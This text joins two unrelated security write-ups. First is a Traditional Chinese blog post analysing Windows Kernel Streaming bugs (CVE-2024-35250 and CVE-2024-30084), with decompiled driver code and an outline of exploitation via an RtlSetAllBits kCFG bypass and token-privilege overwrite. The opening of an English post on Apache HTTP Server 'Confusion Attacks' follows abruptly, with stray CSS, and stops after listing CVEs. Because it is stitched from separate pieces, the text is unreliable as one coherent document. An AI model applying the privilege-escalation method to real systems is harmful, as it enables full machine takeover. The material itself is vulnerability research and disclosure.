起初，我們為了挑戰 Pwn2Own Vancouver 2024 中 Windows 11 的項目，開始從過去的 Pwn2Own 以及近期 in-the-wild 的漏洞中開始審視，尋找可能的攻擊面。沿著歷史軌跡可以得知，過去主要負責 GDI 相關操作的 Win32K 一直是個很熱門的目標，從 2018 年以來，CLFS (Common Log File System) 也漸漸成為了熱門目標之一。這兩個元件都非常複雜，並且直到現在仍然有不少新漏洞出現，但要熟悉這兩個元件需要花不少時間，同時也有許多研究員在看這兩個元件，所以最終我們沒有先選擇分析他們。

去年 Synacktiv 在 Pwn2Own 2023 中，使用 MSKSSRV 的漏洞成功攻下 Windows 11 後，便有不少人往這個元件開始看起，短時間內就又出現了第二個漏洞 CVE-2023-36802，這時 chompie 也發表了一篇非常詳細的文章，講述這個漏洞成因及其利用細節。由於這個元件非常的小，只看檔案大小約略只有 72 KB，可能認真看個幾天就可以全部看完，因此我們便挑了 MSKSSRV 來做歷史漏洞分析，看看是否有機會抓出其他漏洞。

接下來我們會提一下這兩個漏洞，但不會著墨過多。

CVE-2023-29360 - logical vulnerability

第一個是 Synacktiv 在 Pwn2Own 2023 中所使用的漏洞 :

這是一個邏輯上的漏洞。當 MSKSSRV 使用 MmProbeAndLockPages 鎖定使用者給的記憶體位置作為 FrameBuffer 時，並沒有設置正確的 AccessMode，導致沒有檢查使用者指定的位置是否屬於 User space。如果使用者給的是 Kernel space 中的位置，它就會把指定的 Kernel 位置映射到 User space 給使用者用，最終導致使用者可以對 Kernel 中的任意位置寫入，利用上簡單且非常穩定，成為了受歡迎的漏洞之一。

更多細節可以參考 Synacktiv 在 HITB 2023 HKT 的演講及 Nicolas Zilio(@Big5_sec) 的部落格文章

CVE-2023-36802 - type confusion

這個漏洞則是在 CVE-2023-29360 出來後沒多久被許多人發現，並且在微軟發佈更新時，就已經偵測到利用，是個非常容易被發現的漏洞。MSKSSRV 會先將內部使用的物件（FSContextReg、FSStreamReg）存放在 FILE_OBJECT 的 FsContext2 中，然而後續使用時並沒有對 FsContext2 的型態做檢查，導致 type confusion，詳細內容可參考 IBM X-Force 的部落格。

至此之後，就很少有關於 MSKSSRV 的相關漏洞了。

But is that the end of it ?

然而是否這樣就沒洞了呢？

而我要更準確地回答，No!

實際上整個 Kernel Streaming 就像下面這張圖這樣 :

MSKSSRV 只是冰山一角而已，實際上還有不少潛在的元件，上圖中所寫的都是屬於 Kernel Streaming 的一部分。實際往這方向挖掘之後，最終也在這個攻擊面上取得不少漏洞，就如同流水般的流出漏洞來。

順帶一提，我在寫這篇部落格時，chompie 也發表了有關於他在今年 Pwn2Own Vancouver 2024 中所使用的漏洞 CVE-2024-30089。這個漏洞也在 MSKSSRV 中，該漏洞發生在 Reference Count 的處理，其成因也很有趣，不過這邊就不多談，詳細內容可參考她發表的文章。

Brief overview of Kernel Streaming

那麼，什麼是 Kernel Streaming 呢？ 事實上，我們正常使用電腦情況下就會用到 :

在 Windows 系統上，當我們打開鏡頭、開啟音效以及麥克風等音訊設備時，系統需要從這些設備讀取你的聲音、影像等相關資料到 RAM 中。為了更高效地完成這些資料的傳輸，微軟提供了一個名為 Kernel Streaming 的框架，用來處理這些資料。這個框架主要在 Kernel mode 下運行，具有低延遲、良好的擴充性和統一介面等特性，使你能更方便、更高效地處理串流（Stream）資料。

Kernel Streaming 中，提供了三種多媒體驅動模型：port class、AVStream 和 stream class。這裡將主要介紹 port class 和 AVStream，而 stream class 因為較為罕見且過時，不會多加討論。

Port Class

大多數用於 PCI 和 DMA 型音效裝置的硬體驅動程式，它處理與音訊相關的數據傳輸，例如音量控制、麥克風輸入等等，主要會使用到的元件函式庫會是 portcls.sys。

AVStream

AVStream 則是由微軟提供的多媒體類驅動程式，主要支援僅限影片的串流和整合音訊/影片串流，目前跟影像有關的處理多數都跟這類別有關，例如你的視訊鏡頭、擷取卡等等。

實際上 Kernel Streaming 的使用很複雜，因此這裡只會簡單的敘述一下，更多詳細內容可以參考微軟官方文件。

Interact with device

在我們想要與音訊設備或是視訊鏡頭等設備互動時該怎麼做呢？其實就跟一般設備互動一樣，可以透過 CreateFile 函數來開啟一個設備。那麼這類型的設備，名稱又會是甚麼呢？其實這邊不太會像是 \Devcie\NamedPipe 這類型的名稱，而是會像下面這樣的路徑 :

\\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo Enumerate device

每台電腦都可能不一樣，必須使用 SetupDiGetClassDevs 等 API 去列舉設備，一般來說 KS 系列的設備都會註冊在 KSCATEGORY* 底下，像是音訊設備就會註冊在 KSCATEGORY_AUDIO 中。

你也可以使用 KS 所提供的 KsOpenDefaultDevice 獲得該類別中第一個符合的 PnP 裝置的 Handle，實際上來說也只是 SetupDiGetClassDevs 和 CreateFile 的封裝而已。

hr = KsOpenDefaultDevice(KSCATEGORY_VIDEO_CAMERA,GENERIC_READ|GENERIC_WRITE, &g_hDevice) Kernel Streaming object

我們在開啟這些設備之後，Kernel Streaming 會在 Kernel 中建立一些相關的 Instance，其中最為重要的就是 KS Filters 及 KS Pins。在 Kernel Streaming 的使用過程中，這些 Instance 會被頻繁使用，它們主要用來封裝設備的硬體功能，方便開發者透過統一的介面進行串流的處理。

這邊先以 Audio Filters 作為例子，其他多數大同小異，我們也只會簡單介紹，其他細節請自行參考微軟官方文件。

KS filters

每個 KS Filter 通常代表一個設備或設備的特定功能，在我們打開一個音訊設備後，大部分情況下會對應到一個 Kernel Filter，當我們從音訊設備讀取資料時，這些資料就會先通過這個 KS Filter 進行處理。

概念上如下圖所示，中間的大框表示一個代表音訊設備的 KS filter。而我們想要從音訊設備中讀取資料時，會從左邊讀入 Filter，經過幾個節點進行處理後，從右邊輸出。

(From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)

KS pins

上圖中，讀取及輸出資料的點稱為 Pin，Kernel 也有相對應的 KS Pin Object，用於描述這些 Pin 的行為，例如 Pin 是輸入端還是輸出端、支援的格式有哪些等。我們使用時必須在 Filters 上，開啟一個 Pin 來建立 Instance，才能從設備讀取或輸出資料。

KS Property

這些 KS Object 都會有自己的 Property，每個 Property 都會有相對應的功能，前面所提到的 Pin 中的資料格式、音量大小及設備的狀態等等，這些都是一個 Property，通常會對應到一組 GUID，我們可以透過 IOCTL_KS_PROPERTY 來讀取或設定這些 Property。

這大大簡化了多媒體驅動程式的開發，並且確保了不同設備之間的一致性和可擴展性。

Read streams from webcam

這邊就用個簡單的範例來介紹一下 Application 如何從視訊鏡頭讀取資料

其最簡單的流程大概如這張圖所示 :

1. 開啟設備後獲得設備 Handle
2. 使用這個 Handle 在這個 Filter 上建立 Pin 的 Instance 並獲得 Pin handle
3. 使用 IOCTL_KS_PROPERTY 設置 Pin 的狀態到 RUN
4. 最後就可以使用 IOCTL_KS_READ_STREAM 從這個 Pin 中讀資料進來

Kernel Streaming architecture

對漏洞研究而言，我們必須先了解其架構，思考有哪些可能的攻擊面

在初步了解 Kernel Streaming 有哪些功能和操作後，為了找尋漏洞必須先了解一下架構，了解 Windows 是怎麼實作這些功能、分別有哪些元件等等，才知道應該要分析哪些 sys，從哪邊下手會比較好。

經過我們分析後，整個架構約略會像這張圖所示 :

在 Kernel Stearming 元件中，最為核心的就是 ksthunk.sys 及 ks.sys，幾乎所有功能都會與它們有關。

ksthunk (Kernel Streaming WOW Thunk Service Driver)

Application 呼叫 DeviceIoControl 後，在 Kernel Streaming 中的入口點，但它功能很簡單，負責將 WoW64 process 中 32-bit 的 requests 轉換成 64-bit 的 requests，使得下層的 driver 就可以不必為 32 位元的結構另外處理。

ks (Kernel Connection and Streaming Architecture Library)

Kernel Streaming 的核心元件之一，它是 Kernel Streaming 的函示庫，負責及轉發 IOCTL_KS_PROPERTY 等 requests 到對應設備的 driver 中，同時也會負責處理 AVStream 的相關功能。

The work flow of IOCTL_KS_*

而在呼叫 DeviceIoControl 時，就會像下圖一樣，將使用者的 requests 依序給相對應的 driver 來處理

而到第 6 步時 ks.sys 就會根據你 requests 的 Property 來決定要交給哪個 driver 及 handler 來處理你的 request。

最終再轉發給相對應的 Driver，如上圖中最後轉發給 portcls 中的 handler 來操作音訊設備。

到這邊應該對 Kernel Streaming 的架構及流程有初步概念了，接下來就是找洞的時刻。依照現有的元素來看，哪些是值得一看的攻擊面呢？

From attacker’s view

在挖掘漏洞前，如果能仔細思考怎樣的情況下容易有洞，可以達到事半功倍的效果

從一個漏洞研究員的角度來說，大概會有下列這幾個點

1. 每個設備中的 Property handler 每個設備中的 KS Object 都有各自的 Property，而且每個 Property 都有各自的實作，有些 Property 處理起來容易出問題。

2. ks 及 ksthunk ks 及 ksthunk 已經有很長一段時間沒有漏洞，但卻是個最容易接觸到的入口點，也許是一個好目標，上一次出現的漏洞是在 2020 年 @nghiadt1098 所找到的兩個漏洞 CVE-2020-16889 及 CVE-2020-17045

3. 每個 driver 都各自處理一部分的內容 在 Kernel Streaming 的部分功能中，有些 driver 會各自先處理部分的內容，可能會造成一些不一致性的問題。

我們針對上面幾個角度去對整個 Kernel Streaming 做 Code Review 後，很快的就發現了幾個比較容易發現的漏洞

• portcls.sys
  • CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)
  • CVE-2024-38056
• ksthunk
  • CVE-2024-38054 (out-of-bounds write)
  • CVE-2024-38057

不過我們這一篇不會一一講解這些漏洞，這幾個多數都是沒有檢查長度或是 index 之類的越界存取等等明顯的洞，也許會在後續的部分慢慢來講解，@Fr0st1706 也在前陣子寫出了 CVE-2024-38054 的利用，這邊就暫時留給讀者研究了。

這篇要提的是，我們在 Review 過程中發現了一些有趣的事情。

你覺得下面這段程式碼是否安全呢？

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { if ( irp->RequestorMode ) { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp->UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *)) (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); } }

看到這段程式碼讓我想起了 CVE-2024-21338，該漏洞原先並沒有任何檢查，而在修補後則是新增了 ExGetPreviousMode，但這邊檢查則是使用了 IRP 中的 RequestorMode 來做檢查，不過一般情況下從使用者呼叫的 IOCTL 的 RequestorMode 都會是 UserMode(1) 是不會有問題的。

此時我又想起來 James Forshaw 的 Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager 這篇文章。

The overlooked bug class

這邊我們必須先來提一下幾個名詞跟概念，不過如果你對 PreviousMode 及 RequestorMode 很熟悉，可以跳至 A logical bug class

PreviousMode

第一個是 PreviousMode，在 Application 中如果使用者透過 Nt* 等 System Service Call 來對設備或檔案中操作時，進入 Kernel 後就會在 _ETHREAD 中的 PreviousMode 標註 UserMode(1) 表示這個 System Service Call 是來自 User mode 的 Application。如果你是從 Kernel mode 中，例如設備 driver 呼叫 Zw* System Service Call 的 API 就會標記成 KernelMode(0)。

RequestorMode

另外一個類似的則是 IRP 中的 RequestorMode 這邊就是記錄你原始的 requests 是來自 UserMode 還是 KernelMode，在 Kernel driver 中的程式碼是非常常用到的欄位，通常會來自 PreviousMode。

很常被用來決定是否要對來自使用者的 requests 做額外檢查，像是 Memory Access Check 或是 Security Access Check，例如下面這個例子中，如果 requests 來自 UserMode 就會檢查使用者提供的位置，如果是從 Kernel 來的，就不做額外檢查增加效率。

但實際上這也出現了一些問題…

A logical bug class

在 James Forshaw 的 Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager 中，就提到了一種 Bug Class

這邊可以先想想看，使用者呼叫 NtDeviceIoControlFile 之類的 System Service Call 之後，如果處理的 driver 又去用使用者可控的資料來作為 ZwOpenFile 的參數，會發生什麼事

在 driver 呼叫 ZwOpenFile 之後， PreviousMode 會轉換成為 KernelMode，並且在 NtOpenFile 處理時，就會因為 PreviousMode 是 KernelMode 的關係少掉大部分的檢查，而後續的 Irp->RequestorMode 也會因此變成 KernelMode ，從而繞過 Security Access Check 及 Memory Access Check。不過這邊很看後續處理的 driver 怎麼去實作這些檢查，如果只依賴 RequestorMode 來決定要不要檢查，就可能會有問題。這邊省略了一些細節，實際上的狀況會稍微再複雜一點點，也會跟 CreateFile 的 flag 有關，細節可參考下列幾篇文章 :

• Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager
• Hunting for Bugs in Windows Mini-Filter Drivers
• Local privilege escalation via the Windows I/O Manager: a variant finding collaboration

這邊有這樣的概念就好，原先這些研究主要是在 Zw* 系列的 System Service Call 上面，大家可以思考一下，有沒有其他類似的情況，也可能造成這種邏輯漏洞呢?

The new bug pattern

事實上來說是有的，使用 IoBuildDeviceIoControlRequest 這個方法去創建一個 DeviceIoControl 的 IRP 時，萬一沒注意到也很容易有這樣的問題。這個 API 主要是 Kernel driver 用來呼叫 IOCTL 的其中一種方法，它會幫你建好 IRP，而後續在去呼叫 IofCallDriver，就可以在 Kernel driver 中呼叫 IOCTL。在 Microsoft Learn 中，有一段話特別值得注意 :

也就是預設情況下，如果你沒有特別去設置 RequestorMode 就會直接以 KernelMode 形式去呼叫 IOCTL。

按照這個思路，我們重新回頭審視一下我們的目標 Kernel Streaming，我們發現了一個吸引我們的地方。

在 Kernel Streaming 中使用這個 IoBuildDeviceIoControlRequest 地方是在 ks!KsSynchronousIoControlDevice ，而主要內容明顯就是在用剛剛提到的方法，在 Kernel 中呼叫 DeviceIoControl，不過這邊看似有好好的設置 Irp->RequestorMode，且會根據 KsSynchronousIoControlDevice 參數不同而去設置不同的數值，對於開發者來說會是一個方便的函式庫。

然而…

ks!CKsPin::GetState

ks!SerializePropertySet

ks!UnserializePropertySet

我們發現到在 Kernel Streaming 中，全部有使用到 KsSynchronousIoControlDevice 的地方都是固定的使用 KernelMode(0)，到這邊就可以仔細的檢查看看，有用到的地方是否有安全上的問題了。因此我們將 Kernel Streaming 中的 bug pattern 轉換成下列幾點:

1. 有使用 KsSynchronousIoControlDevice
2. 有可控的
   • InputBuffer
   • OutputBuffer
3. 第二次處理 IOCTL 的地方有依賴 RequestorMode 做安全檢查，並且有可以作為提權利用的地方。

按照這個 Pattern 我們很快地就找到了第一個洞

The vulnerability & exploitation CVE-2024-35250

這個漏洞也是我們今年在 Pwn2Own Vancouver 2024 中所使用的漏洞。在 Kernel Streaming 的 IOCTL_KS_PROPERTY 功能中，為了讓效率增加，提供了 KSPROPERTY_TYPE_SERIALIZESET 和 KSPROPERTY_TYPE_UNSERIALIZESET 功能允許使用者透過單一呼叫與多個 Property 進行操作。當我們用這功能時，這些 requests 將被 KsPropertyHandler 函數分解成多個呼叫，詳情可參考這篇。

該功能實作在 ks.sys 中

上圖中可以看到，在 ks 處理 Property 時，如果有給上述的 flag 就會由 UnserializePropertySet 來處理你的 request

我們這邊就先來看一下 UnserializePropertySet

unsigned __int64 __fastcall UnserializePropertySet( PIRP irp, KSIDENTIFIER* UserProvideProperty, KSPROPERTY_SET* propertyset_) { ... New_KsProperty_req = ExAllocatePoolWithTag(NonPagedPoolNx, InSize, 0x7070534Bu); ... memmove(New_KsProperty_req, CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InSize); //------[1] ... status = KsSynchronousIoControlDevice( CurrentStackLocation->FileObject, 0, CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode, New_KsProperty_req, InSize, OutBuffer, OutSize, &BytesReturned); //-----------[2] ... }

可看到在處理過程中會先將原始的 request，複製到新分配出來的 Buffer 中 [1]，而後續就會使用這個 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL [2]。其中 New_KsProperty_req 及 OutBuffer 都是使用者所傳入的內容。

而呼叫 UnserializePropertySet 時的流程，大概如下圖所示 :

這邊呼叫 IOCTL 時可以看到圖中第 2 步 I/O Manager 會將 Irp->RequestorMode 設成 UserMode(1)，直到第 6 步時，ks 會去判斷使用者 requests 的 Property 是否存在於該 KS Object 中，如果該 KS Object 的 Property 存在，並且有設置 KSPROPERTY_TYPE_UNSERIALIZESET 就會用 UnserializePropertySet 來處理指定的 Property

而接下來第 7 步就會呼叫 KsSynchronousIoControlDevice 重新做一次 IOCTL，而此時新的 Irp->RequestorMode 就變成了 KernelMode(0) 了，而後續的處理就如一般的 IOCTL_KS_PROPERTY 相同，就不另外詳述了，總之我們到這裡已經有個可以任意做 IOCTL_KS_PROPERTY 的 primitive 了，接下來我們必須尋找看看是否有可以 EoP 的地方。

The EoP

最先看到的想必就是入口點 ksthunk，我們這邊可以直接來看 ksthunk!CKSThunkDevice::DispatchIoctl

__int64 __fastcall CKSThunkDevice::DispatchIoctl(CKernelFilterDevice *a1, IRP *irp, unsigned int a3, NTSTATUS *a4) { ... if ( IoIs32bitProcess(irp) && irp->RequestorMode ) //------[3] { //Convert 32-bit requests to 64-bit requests } else if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL_KS_PROPERTY ) { return CKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1, irp, v11, a4) //-----[4]; } }

ksthunk 會先判斷是否是 WoW64 的 Process 的 request，如果是就會將原本 32-bit 的 requests 轉換成 64-bit 的 [3]，如果原本就是 64-bit 則會呼叫 CKSThunkDevice::CheckIrpForStackAdjustmentNative [4] 往下傳遞

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { ... if ( *(_OWORD *)&Type3InputBuffer->Set == *(_OWORD *)&KSPROPSETID_DrmAudioStream && !type3inputbuf.Id && (type3inputbuf.Flags & 2) != 0 ) //-----[5] { if ( irp->RequestorMode ) //-------[6] { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp->UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *))(Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); //------------[7] } } }

我們在 [5] 看到，如果我們給定的 Property Set 是 KSPROPSETID_DrmAudioStream ，就有特別的處理。而在 [6] 時，會先去判斷 Irp->RequestorMode 是否為 KernelMode(0)，如果從 UserMode(1) 呼叫的 IOCTL 就會直接返回錯誤，但如果我們使用前面所說的 KSPROPERTY_TYPE_UNSERIALIZESET 來呼叫 IOCTL，並指定 KSPROPSETID_DrmAudioStream 這個 Property，那麼這裡 [6] 就會是 KerenlMode(0)。接下來就會在 [7] 直接使用使用者所傳入的內容做為 function 呼叫，甚至第一個參數是可控的，實際寫 PoC 後，驗證了我們的結果。

這邊可能會有人有疑惑，什麼設備或是情況下會有 KSPROPSETID_DrmAudioStream ？實際上來說音訊設備大多情況下都會有，主要是用來設置 DRM 相關內容用的。

Exploitation

在有了任意呼叫之後，要達成 EoP 就不是太大的問題，雖然會遇到 kCFG、kASLR、SMEP 等等保護，但在 Medium IL 下唯一比較需要處理的就只有 kCFG。

• kCFG
• kASLR
  • NtQuerySystemInformation
• SMEP
  • Reuse Kernel Code
• …

Bypass kCFG

那我們目標很簡單，就是從合法的 function 做出任意寫的 primitive，而之後就可以利用常見的方法用 System token 取代當前的 Process token 或是 Abuse token privilege 去做到 EoP。

直覺地會直接去找看看，kCFG 中合法的 function 名稱有 set 的 function，比較可能是可以寫入的。我們這裡是直接拿 ntoskrnl.exe 中 export fucntion 去尋找看看是否有合法的 function，這些大多情況下都是合法的。

而很快的我們就找到了 RtlSetAllBits

它是個非常好用的 gadget 而且是 kCFG 中合法的 function，另外也只要控制一個參數 _RTL_BITMAP

struct _RTL_BITMAP { ULONG SizeOfBitMap; ULONG* Buffer; };

我們可將 Buffer 指定到任意位置並指定大小，就可以將一段範圍的 bits 全部設置起來，到這邊就差不多結束了，只要 將 Token->Privilege 全部設置起來，就可以利用 Abuse Privilege 方法來做到 EoP 了。

然而…在 Pwn2Own 比賽前，我們在 Hyper-V 上安裝一個全新 Windows 11 23H2 VM 測試 Exploit，結果失敗了。 而且是在開啟設備階段就失敗。

經過調查後發現到 Hyper-V 在預設情況下並不會有音訊設備，造成 exploit 會失敗。

在 Hyper-V 中，預設情況下只會有 MSKSSRV，然而 MSKSSRV 也沒有 KSPROPSETID_DrmAudioStream 這個 Property，使得我們無法成功利用這個漏洞達成 EoP，因此我們必須找其他方式觸發或者找新的漏洞，此時我們決定重新 Review 一遍整個流程，看看是否還有其他可能利用的地方。

CVE-2024-30084

重新審視後，發現到 IOCTL_KS_PROPERTY 是使用 Neither I/O 來傳遞資料的，也就是說會直接拿使用者的 Input buffer 來做資料上的處理，一般來說不太建議使用這個方法，很常出現 Double Fetch 的問題。

我們可從上圖中 KspPropertyHandler 看到，在使用者呼叫 IOCTL 之後，會直接將 Type3InputBuffer 複製到新分配出來的 Buffer 中，其中會存有 KSPROPERTY 結構，接下來會用這結構中的 GUID 來查詢 Property 是否有在該設備所支援的 Property 中，若存在才會繼續往下呼叫 UnserializePropertySet。

這邊我們再回頭看一眼 UnserializePropertySet。

我們可以發現到，它又再次從 Type3InputBuffer 複製使用者所提供的資料做為新的 IOCTL 的輸入，很明顯的這邊就存在了一個 Double Fetch 的漏洞，因此我們將整個利用流程改成下圖的樣子

我們一開始發送 IOCTL_KS_PROPERTY 時，就會先以 MSKSSRV 既有的 Property KSPROPSETID_Service 來做後續操作，而在圖中第 6 步時，會先複製一份 Property 的 GUID 到 Kernel 中，而後再用這個 Property GUID 去查詢是否有在該 KS Object 的支援清單中，而這邊因為 MSKSSRV 有支援，就會往下呼叫 UnserializePropertySet。

在呼叫 UnserializePropertySet 後，因為有 Double Fetch 的漏洞，讓我們可以在檢查後到使用之間，將 KSPROPSETID_Service 換成 KSPROPSETID_DrmAudioStream ，而接下來就可以讓 ks 使用 KSPROPSETID_DrmAudioStream 作為 requests 來發送 IOCTL，從而觸發前述了 CVE-2024-35250 邏輯漏洞，使這個漏洞不論在甚麼環境下都可以使用。

最終我們成功在 Pwn2Own Vancouver 2024 中，成功攻下 Micorsoft Windows 11。

在 Pwn2Own 結束後，經過我們調查，發現到這個漏洞從 Windows 7 就存在了，至少存在將近 20 年，而且利用上非常穩定，有著百分之百的成功率，強烈建議大家盡速更新至最新版本 。

To be continued

這篇主要著重在我們如何找到今年在 Pwn2Own 中所使用的漏洞及 Kernel Streaming 的攻擊面分析。在找到這個洞之後，我們後續也持續朝這個方向繼續研究，也發現了另外一個也是 Exploitable 的漏洞以及其他更多有趣的漏洞，我們預計在今年十月發表，敬請期待 Part II。

Reference

• Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service
• Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own
• CVE-2023-29360 Analysis
• Racing Round and Round: The Little Bug That Could
• Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager
• Hunting for Bugs in Windows Mini-Filter Drivers
• Local Privilege Escalation via the Windows I/O Manager: A Variant Finding & Collaboration

Orange Tsai (@orange_8361)  |  繁體中文版本  |  English Version .language-plaintext { background-color: #f9f2f4; } .highlight { border-left: 2px solid #44D62C !important; }

Hey there! This is my research on Apache HTTP Server presented at Black Hat USA 2024. Additionally, this research will also be presented at HITCON and OrangeCon. If you’re interested in getting a preview, you can check the slides here:

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

Also, I would like to thank Akamai for their friendly outreach! They released mitigation measures immediately after this research was published (details can be found on Akamai’s blog).

TL;DR

This article explores architectural issues within the Apache HTTP Server, highlighting several technical debts within Httpd, including 3 types of Confusion Attacks, 9 new vulnerabilities, 20 exploitation techniques, and over 30 case studies. The content includes, but is not limited to:

1. How a single ? can bypass Httpd’s built-in access control and authentication.
2. How unsafe RewriteRules can escape the Web Root and access the entire filesystem.
3. How to leverage a piece of code from 1996 to transform an XSS into RCE.

Outline

• Before the Story
• How Did the Story Begin?
• Why Apache HTTP Server Smells Bad?
• A Whole New Attack — Confusion Attack
  • 1. Filename Confusion
    • Primitive 1-1. Truncation
      • 1-1-1. Path Truncation
      • 1-1-2. Mislead RewriteFlag Assignment
    • Primitive 1-2. ACL Bypass
  • 2. DocumentRoot Confusion
    • Primitive 2-1. Server-Side Source Code Disclosure
      • 2-1-1. Disclose CGI Source Code
      • 2-1-2. Disclose PHP Source Code
    • Primitive 2-2. Local Gadgets Manipulation!
      • 2-2-1. Local Gadget to Information Disclosure
      • 2-2-2. Local Gadget to XSS
      • 2-2-3. Local Gadget to LFI
      • 2-2-4. Local Gadget to SSRF
      • 2-2-5. Local Gadget to RCE
    • Primitive 2-3. Jailbreak from Local Gadgets
      • 2-3-1. Jailbreak from Local Gadgets
      • 2-3-2. Jailbreak Local Gadgets to Redmine RCE
  • 3. Handler Confusion
    • Primitive 3-1. Overwrite the Handler
      • 3-1-1. Overwrite Handler to Disclose PHP Source Code
      • 3-1-2. Overwrite Handler to ██████ ███████ ██████
    • Primitive 3-2. Invoke Arbitrary Handlers
      • 3-2-1. Arbitrary Handler to Information Disclosure
      • 3-2-2. Arbitrary Handler to Misinterpret Scripts
      • 3-2-2. Arbitrary Handler to Full SSRF
      • 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket
      • 3-2-4. Arbitrary Handler to RCE
  • 4. Other Vulnerabilities
    • CVE-2024-38472 - Windows UNC-based SSRF
      • Triggered via HTTP Request Parser
      • Triggered via Type-Map
    • CVE-2024-39573 - SSRF via Full Control of RewriteRule Prefix
• Future Works
• Conclusion

Before the Story

This section is just some personal murmurs. If you’re only interested in the technical details, jump straight to — How Did the Story Begin?

As a researcher, perhaps the greatest joy is seeing your work recognized and understood by peers. Therefore, after completing a significant research with fruitful results, it is natural to want the world to see it — which is why I’ve presented multiple times at Black Hat USA and DEFCON. As you might know, since 2022, I have been unable to obtain a valid travel authorization to enter the U.S. (For Taiwan, travel authorization under the Visa Waiver Program can typically be obtained online within minutes to hours), leading me to miss the in-person talk at Black Hat USA 2022. Even a solo trip to Machu Picchu and Easter Island in 2023 couldn’t transit through the U.S. :(

To address this situation, I started preparing for a B1/B2 visa in January this year, writing various documents, interviewing at the embassy, and endlessly waiting. It’s not fun. But to have my work seen, I still spent a lot of time seeking all possibilities, even until three weeks before the conference, it was unclear whether my talk would be canceled or not (BH only accepted in-person talks, but thanks to the RB, it could ultimately be presented in pre-recorded format). So, everything you see, including slides, videos, and this blog, was completed within just a few dozen days. 😖

As a pure researcher with a clear conscience, my attitude towards vulnerabilities has always been — they should be directly reported to and fixed by the vendor. Writing these words isn’t for any particular reason, just to record some feelings of helplessness, efforts in this year, and to thank those who have helped me this year, thank you all :)

How Did the Story Begin?

Around the beginning of this year, I started thinking about my next research target. As you might know, I always aim to challenge big targets that can impact the entire internet, so I began searching for some complex topics or interesting open-source projects like Nginx, PHP, or even delved into RFCs to strengthen my understanding of protocol details.

While most attempts ended in failure (though a few might become topics for next blog posts 😉), reading these codes reminded me of a quick review I had done of Apache HTTP Server last year! Although I didn’t dive deep into the code due to the work schedule, I had already “smelled” something not quite right about its coding style at that time.

So this year, I decided to continue on that research, transforming the “bad smells” from an indescribable “feeling” into concrete research on Apache HTTP Server!

Why Apache HTTP Server Smells Bad?

Firstly, the Apache HTTP Server is a world constructed by “modules,” as proudly declared in its official documentation regarding its modularity:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

The entire Httpd service relies on hundreds of small modules working together to handle a client’s HTTP request. Among the 136 modules listed by the official documentation, about half are either enabled by default or frequently used by websites!

What’s even more surprising is that these modules also maintain a colossal request_rec structure while processing client HTTP requests. This structure includes all the elements involved in handling HTTP, with its detailed definition available in include/httpd.h. All modules depend on this massive structure for synchronization, communication, and data exchange. As an HTTP request passes through several phases, modules act like players in a game of catch, passing the structure from one to another. Each module even has the ability to modify any value in this structure according to its own preferences!

This type of collaboration is not new from a software engineering perspective. Each module simply focuses on its own task. As long as everyone finishes their work, then the client can enjoy the service provided by Httpd. This approach might work well with a few modules, but what happens when we scale it up to hundreds of modules collaborating — can they really work well together? 🤔

Our starting point is straightforward — the modules do not fully understand each other, yet they are required to cooperate. Each module might be implemented by different people, with the code undergoing years of iterations, refactors, and modifications. Do they really still know what they are doing? Even if they understand their own duty, what about other modules’ implementation details? Without any good development standards or guidelines, there must be several gaps that we can exploit!

A Whole New Attack — Confusion Attack

Based on these observations, we started focusing on the “relationships” and “interactions” among these modules. If a module accidentally modifies a structure field that it considers unimportant, but is crucial for another module, it could affect the latter’s decisions. Furthermore, if the definitions or semantics of the fields are not precise enough, causing ambiguities in how modules understand the same fields, it could lead to potential security risks as well!

From this starting point, we developed three different types of attacks, as these attacks are more or less related to the misuse of structure fields. Hence, we’ve named this attack surface “Confusion Attack,” and the following are the attacks we developed:

1. Filename Confusion
2. DocumentRoot Confusion
3. Handler Confusion

Through these attacks, we have identified 9 different vulnerabilities:

1. CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
2. CVE-2024-39573 - Apache HTTP Server proxy encoding problem
3. CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
4. CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
5. CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
6. CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
7. CVE-2024-38473 - Apache HTTP Server proxy encoding problem
8. CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
9. CVE-2024-?????? - [redacted]

These vulnerabilities were reported through the official security mailing list and were addressed by the Apache HTTP Server in the 2.4.60 update published on 2024-07-01.

